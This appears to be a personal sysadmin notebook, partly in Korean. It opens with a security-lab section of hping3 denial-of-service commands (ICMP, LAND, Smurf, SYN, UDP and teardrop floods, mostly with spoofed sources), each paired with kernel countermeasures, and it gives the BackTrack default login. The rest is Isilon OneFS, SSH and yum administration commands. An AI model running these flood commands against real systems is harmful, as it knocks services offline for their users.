Security- TEST

참조사이트 :
http://www.ubuntu.com/
http://www.kali.org
http://www.backtrack-linux.org
 - default ID/PW : root / toor
 - Command : startx



hping3 --icmp 192.168.x.128 -d 65000 -i u1000 -a 172.16.1.2
~ 1000분의 1초 단위로 패킷 전송

hping3 --icmp 192.168.x.128 -d 65000 --flood -a 172.16.1.2
~시스템의 가용량의 최대로 패킷을 보낸다.

# 대응 방법
 - ICMP 제한 : 정상적인 경우 Linux = 64byte, Windows = 32byte임
 - 특정 IP에서 오는 ICMP 개수를 제한 (ex. 초당 10개까지만 허용)



2. LAND Attack
출발지 주소를 Target의 주소로 스푸핑하는 Ping of Death
hping3 --icmp 192.168.x.128 -d 65000 -i u1000 -a 192.168.x.128

*대응방법
외부 네트워크에서 출발지를 내부로한 패킷이 들어오면 차단


3. Smurf Attack
 : 출발지는 Target으로 지정, 목적지를 Target이 속한 네트워크로 직접 브로드캐스트를 보내는 Ping of Death

<참고>
Broadcast :
 -제한 브로드 캐스트 (Limited Broadcast) : 모든 비트가 1 (255.255.255.255)
   > 같은 네트워크 내에서만 전달됨 (라우터가 받으면 버림)

 -직접 브로드 캐스트 (Direct Broadcast) : 네트워크 부분은 공인 IP대역 , 호스트 부분만 1로 구성 ex)168.240.15.255

hping3 --icmp 192.168.x.255 -d 65000 -i u1000 -a 192.168.x.128

*대응방법
 -sysctl -a | grep net.ipv4.icmp_*
 -sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1


4. TCP SYN Flooding
 : Backlog Queue 에 쌓이도록 유도하여 Queue 기능을 상실토록 하는 공격법
 : Time-Out이 되기 전에  Backlog Queue를 채우면 공격 성공

hping3 -S 192.168.x.128-p 80 -i u1000 -a 172.16.1.2
(-S : sync, -p 80: web server)

hping3 -S 192.168.179.128 -p 80 --flood --rand-source
(참고 --rand-source : 출발지 주소를 랜덤하게 변경)

*대응방법 : (이것만으로 전부 해결은 아님)
    sysctl -w net.ipv4.tcp_keepalive_time=1600
    sysctl -w net.ipv4.tcp_syncookies=1


5. UDP Flooding
hping3 --udp 192.168.179.128 -p 53 -i u1000 -a 172.16.1.2 -d 1470

6. Tear Drop (찢어 버리기임, 눈물 떨구기 아님)
: Offset값을 조작해서 재조립을 방해하는 공격 기법
 (Offset 값은 첫바이트를 8로 나눈 값을 번호로 사용하는 것)

hping3 --icmp 192.168.179.128 -g 200 -d 1450 -i u1000
 (-g: Offset)

ssh-keygen

ssh-keygen -- authentication key generation, management and conversion

-F hostname
             Search for the specified hostname in a known_hosts file, listing
             any occurrences found.  This option is useful to find hashed host
             names or addresses and may also be used in conjunction with the
             -H option to print found keys in a hashed format.


 -R hostname
             Removes all keys belonging to hostname from a known_hosts file.
             This option is useful to delete hashed hosts (see the -H option
             above).


ssh-keygen -f "/root/.ssh/known_hosts" -R [Node_IP]

OneFS v7 vs v8 | SmartConnect 관련

[ OneFS v7.2 ]

# isi networks list subnets 

# isi networks modify pool --name=subnet0:pool0 --zone=<domain_name>

# isi networks list pool

# isi networks modify subnet --name=<subnet name>  --sc-service-addr=<ip-address>

[OneFS v8.0]

# isi network subnets list --v

# isi network subnets modify groupnet0.subnet0 --sc-service-addr=<ip-address>  --sc-service-name=<domain_name>

[ OneFS v7.2 ]

# isi network ls pools

# isi network ls pools <subnet_name:pool_name>

# isi networks modify pool --name= <subnet_name:pool_name> --ranges=<ip-address-ip-address>

[OneFS v8.0]

# isi network pools list

# isi network pools modify --id=groupnet0.subnet1.pool0 --ranges=4.4.4.21-4.4.4.29

Isilon | WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!

$ ssh  root@192.168.0.10

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ECDSA key sent by the remote host is
SHA256:Jv2/U69vLTXbEYU5JbVIj2a8Xc3Q/7fzCAezq77Z2E4.
Please contact your system administrator.
Add correct host key in /home/breeze/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /home/breeze/.ssh/known_hosts:1
  remove with:
  ssh-keygen -f "/home/breeze/.ssh/known_hosts" -R 192.168.0.10
ECDSA host key for 192.168.0.10 has changed and you have requested strict checking.
Host key verification failed.

 $ ssh-keygen -f "/home/breeze/.ssh/known_hosts" -R 192.168.0.10
# Host 192.168.0.10 found: line 1
/home/breeze/.ssh/known_hosts updated.
Original contents retained as /home/breeze/.ssh/known_hosts.old

$ ssh  root@192.168.0.10

Oracle Linux Yum Reop. Config

wget -P /etc/yum.repos.d http://public-yum.oracle.com/public-yum-ol6.repo

# yum clean metadata

# yum repolist

hangdump

isi_for_array -n 1 cp /var/crash/isi_hangdump_2017_08_29_22_13_30.log.gz /ifs/data/Isilon_Support/dump/node01_isi_hangdump_2017_08_29_22_13_30.log.gz
isi_for_array -n 2 cp /var/crash/isi_hangdump_2017_08_29_22_13_30.log.gz /ifs/data/Isilon_Support/dump/node02_isi_hangdump_2017_08_29_22_13_30.log.gz
isi_for_array -n 3 cp /var/crash/isi_hangdump_2017_08_29_22_13_30.log.gz /ifs/data/Isilon_Support/dump/node03_isi_hangdump_2017_08_29_22_13_30.log.gz
isi_for_array -n 4 cp /var/crash/isi_hangdump_2017_08_29_22_13_30.log.gz /ifs/data/Isilon_Support/dump/node04_isi_hangdump_2017_08_29_22_13_30.log.gz
isi_for_array -n 5 cp /var/crash/isi_hangdump_2017_08_29_22_13_30.log.gz /ifs/data/Isilon_Support/dump/node05_isi_hangdump_2017_08_29_22_13_30.log.gz
isi_for_array -n 6 cp /var/crash/isi_hangdump_2017_08_29_22_13_30.log.gz /ifs/data/Isilon_Support/dump/node06_isi_hangdump_2017_08_29_22_13_30.log.gz
isi_for_array -n 7 cp /var/crash/isi_hangdump_2017_08_29_22_13_30.log.gz /ifs/data/Isilon_Support/dump/node07_isi_hangdump_2017_08_29_22_13_30.log.gz
isi_for_array -n 8 cp /var/crash/isi_hangdump_2017_08_29_22_13_30.log.gz /ifs/data/Isilon_Support/dump/node08_isi_hangdump_2017_08_29_22_13_30.log.gz
isi_for_array -n 9 cp /var/crash/isi_hangdump_2017_08_29_22_13_30.log.gz /ifs/data/Isilon_Support/dump/node09_isi_hangdump_2017_08_29_22_13_30.log.gz
isi_for_array -n 10 cp /var/crash/isi_hangdump_2017_08_29_22_13_30.log.gz /ifs/data/Isilon_Support/dump/node10_isi_hangdump_2017_08_29_22_13_30.log.gz
isi_for_array -n 11 cp /var/crash/isi_hangdump_2017_08_29_22_13_30.log.gz /ifs/data/Isilon_Support/dump/node11_isi_hangdump_2017_08_29_22_13_30.log.gz

[ Isilon ] PERFORMANCE METRICS HINTS

# Start
 cd /ifs/data/Isilon_Support
 screen -L

# health of the Clusters and nodes
 Capacity:
  isi status --quiet
  isi storagepool list
  isi status -p

 CPU:
  isi_for_array -s -X 'top -n –S 10'

 Memory:
  isi statistics query current --nodes all --degraded --stats node.memory.used
  isi statistics query current --nodes all --degraded --stats node.memory.free
  isi_for_array -s -X 'sysctl kern.malloc_pigs' | less

 Load average:
  isi statistics query current --nodes all --degraded --stats node.cpu.count
  isi_for_array -s 'uptime'

 disk operations across Balance across nodes
  isi statistics query current --nodes=all --stats=node.disk.xfers.rate.sum

# SmartConnect and load balance
 isi network interfaces list
 isi status

isi_for_array -sX 'isi devices|grep -vi healthy'

# SmartConnect Suspend check
 isi networks list pools --verbose
 isi networks modify pool --sc-suspend-node=5 --name=172_28_30_x:Service_Net
 isi networks modify pool --sc-resume-node=5 --name=172_28_30_x:Service_Net

# File Server Protocol Operational Rates
isi statistics protocol –-nodes all –-top –-orderby=timeavg

# Disk Hardware Latency
isi statistics drive –-nodes all –-top –-long –-orderby timeavg

# Node CPU Utilization
isi statistics system –-nodes --top

# isi statistics client
 isi statistics client --orderby=ops -nall --top --numeric output
 isi statistics client --orderby=ops -nall --top --numeric
 isi statistics client --long -i 5


# isi statistics system
 isi statistics system --timestamp --nodes -i 5
 isi statistics system --nodes --interval=1 --top

# isi statistics query
 isi statistics query --stats=node.disk.xfers.rate.5 -i 10

# SMB open files list
 isi smb session list
 isi_for_array -X 'isi smb openfiles list -v --format=csv --no-header --no-footer'

 # isi statistics pstat (<--SMB)
 isi statistics pstat --protocol smb2

# NFS locks list
 isi_for_array -X isi nfs nlm locks list -v --format=csv --no-header

# Users by protocol
isi statistics client --protocols external --no-footer | awk '{print $1 " "$6 " " $8}' | head -22

# Busiest files and paths
 isi statistics heat --nodes all --totalby path | awk '{print $1 " " $5}' | sort -n -r | head -20
 isi statistics heat --nodes 1 | awk '{print $1 " " $4 " " $5}' | sort -n -r | head -20

# Blocked, contended, and deadlocked events
 isi statistics heat --totalby event,lin,path --limit 50

# Disk activity
Time in Queue: isi statistics drive --nodes=all --degraded --no-header --no-footer | awk ' /SATA/{sum+=$8; max=0; min=1000} {if ($8>max) max=$8; if ($8<min) min=$8} END {print "Min =",min; print "Max = ",max; print "Average = ",sum/NR}'
Number in Queue: isi statistics drive --nodes=all --degraded --no-header --no-footer | awk ' /SATA/{sum+=$9; max=0; min=1000} {if ($9>max) max=$9; if ($9<min) min=$9} END {print "Min =",min; print "Max = ",max; print "Average = ",sum/NR}'

# Network factors

Latency and hops:
 traceroute –q 5 <IP > Issue from client to a node
 traceroute –q 5 <IP > Issue from node to another node

 Latency and packet loss:
  ping -i .1 -c 250 <IP > Issue from client to a node
  ping -i .1 -c 250 <IP > Issue from node to another node

 Bandwidth:
  iperf -s On target node
  iperf -c <IP of Target Host> On source host

 Hostcache.list:
 isi_for_array -X sysctl net.inet.tcp.hostcache.list

 Cache response times and effectiveness:
  isi_cbind show dns
  isi_cbind show cluster


# Protocol operations
 Protocol operations most used:
  isi statistics protocol list --sort Ops --degraded

 Protocol operations taking the most time
  isi statistics protocol list --sort TimeAvg --degraded

 Clients most-to-least demanding:
  isi statistics client list --sort Ops --degraded

 Connection distribution:
  isi statistics query current --nodes all --degraded --stats node.clientstats.connected.nfs,node.clientstats.active.nfs
  isi statistics query current --nodes all --degraded --stats node.clientstats.connected.smb,node.clientstats.active.smb2

 Slow authentication:
  isi statistics protocol list --protocols lsass_out --degraded

 Protocol latency:
  isi statistics protocol list --totalby class






# L3 Cache
 isi_cache_stats
 isi_cache_stats –c  (*reset command)
 isi_cache_stats –v
 isi_for_array –s isi_cache_stats –v | grep –A3 l3

# SMB Config
 isi_for_array sysctl isi.stats.client.smb2.max_clients

# Netstat
SMB: isi_for_array -s "netstat -an |grep 445 | grep -i ESTABLISHED |wc -l"

# tcpdump
 tcpdump -i vlan0 -s 0 -w /ifs/data/nasssip30.pcap host 172.28.30.15

# IP move
 isi networks support sc_put_ip --sc-iface=5:10gige-agg-1 --sc-ip=172.28.31.16